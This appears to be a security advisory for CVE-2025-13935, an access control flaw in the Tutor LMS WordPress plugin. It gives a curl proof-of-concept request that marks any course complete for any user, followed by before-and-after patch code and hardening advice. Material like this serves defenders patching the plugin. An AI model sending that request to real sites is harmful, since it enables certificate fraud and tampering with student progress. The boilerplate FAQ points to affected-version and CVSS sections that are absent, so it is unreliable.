SECURITY ADVISORY / 01

CVE-2025-13935 Exploit & Vulnerability Analysis

Complete CVE-2025-13935 security advisory with proof of concept (PoC), exploit details, and patch analysis.

cve_patchdiff:tutor NVD ↗
Exploit PoC Vulnerability Patch Analysis

The Exploit

Authenticated subscriber-level users can directly call Tutor LMS's course completion AJAX handler and mark any course complete.

curl 'https://TARGET/wp-admin/admin-ajax.php' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -H 'Cookie: wordpress_logged_in_XXXXXXXXXX' \
  --data-raw 'action=mark_course_complete&course_id=123&user_id=1'

The response returns a success payload even when the attacker is not enrolled in course 123. The side effect is that the target course becomes marked complete for user 1; the attacker can abuse this to claim certificates, unlock progress-restricted content, or manipulate analytics.

What the Patch Did

Before:

$course_id = intval( $_POST['course_id'] );
$user_id   = intval( $_POST['user_id'] );

// no enrollment check present before allowing course completion

$mark = tutor_utils()->mark_course_complete( $course_id, $user_id );
if ( $mark ) {
    wp_send_json_success( __( 'Course marked as complete', 'tutor' ) );
}

After:

$course_id = intval( $_POST['course_id'] );
$user_id   = intval( $_POST['user_id'] );

if ( ! tutor_utils()->is_enrolled( $course_id, $user_id ) ) {
    die( esc_html__( 'User is not enrolled in course', 'tutor' ) );
}

$mark = tutor_utils()->mark_course_complete( $course_id, $user_id );
if ( $mark ) {
    wp_send_json_success( __( 'Course marked as complete', 'tutor' ) );
}

The patch adds a server-side enrollment authorization check using the plugin helper tutor_utils()->is_enrolled(), preventing course completion unless the specified user is actually enrolled in that course.

Root Cause

This is a classic improper access control issue (CWE-284). The AJAX endpoint accepted attacker-controlled POST parameters course_id and user_id, then passed them straight into mark_course_complete() without verifying that the requester was enrolled in that course. The trust boundary crossed unchecked was the assumption that an authenticated user should only be able to complete their own enrolled content, but the code never validated enrollment before performing the state-changing action.

Why It Works

The load-bearing fix is the if ( ! tutor_utils()->is_enrolled( $course_id, $user_id ) ) check. Without that line, the request still reaches mark_course_complete() and the bug remains exploitable. The complementary die( esc_html__( ... ) ) is just the error-handling path; it turns the failed authorization into a safe response. The engineer added the helper check to enforce the missing authorization invariant, and wrapped it in esc_html__() to avoid leaking raw strings in the event of failure.

Hardening Checklist

  • Use current_user_can() or equivalent role checks for any action that changes course state, not just for page visibility.
  • Validate enrollment on every course progress endpoint with a server-side helper like tutor_utils()->is_enrolled(), never trust a client-side flag.
  • Avoid accepting arbitrary user_id values from POST for state-changing operations; derive the acting user from get_current_user_id() when possible.
  • Return failures through WordPress AJAX-safe response helpers such as wp_send_json_error() or die( esc_html__( ... ) ) instead of allowing the action to proceed.
  • Protect AJAX requests with nonces and validate them using wp_verify_nonce() to reduce risk from CSRF combined with authorization gaps.

References

  • https://nvd.nist.gov/vuln/detail/CVE-2025-13935

Frequently asked questions about CVE-2025-13935

What is CVE-2025-13935?

CVE-2025-13935 is a security vulnerability. This security advisory provides detailed technical analysis of the vulnerability, exploit methodology, affected versions, and complete remediation guidance.

Is there a PoC (proof of concept) for CVE-2025-13935?

Yes. This writeup includes proof-of-concept details and a technical exploit breakdown for CVE-2025-13935. Review the analysis sections above for the PoC walkthrough and code examples.

How does CVE-2025-13935 get exploited?

The technical analysis section explains the vulnerability mechanics, attack vectors, and exploitation methodology. PatchLeaks publishes this information for defensive and educational purposes.

What products and versions are affected by CVE-2025-13935?

CVE-2025-13935 — check the affected-versions section of this advisory for specific version ranges, vulnerable configurations, and compatibility information.

How do I fix or patch CVE-2025-13935?

The patch analysis section provides guidance on updating to patched versions, applying workarounds, and implementing compensating controls.

What is the CVSS score for CVE-2025-13935?

The severity rating and CVSS scoring for CVE-2025-13935 is documented in the vulnerability details section. Refer to the NVD entry for the current authoritative score.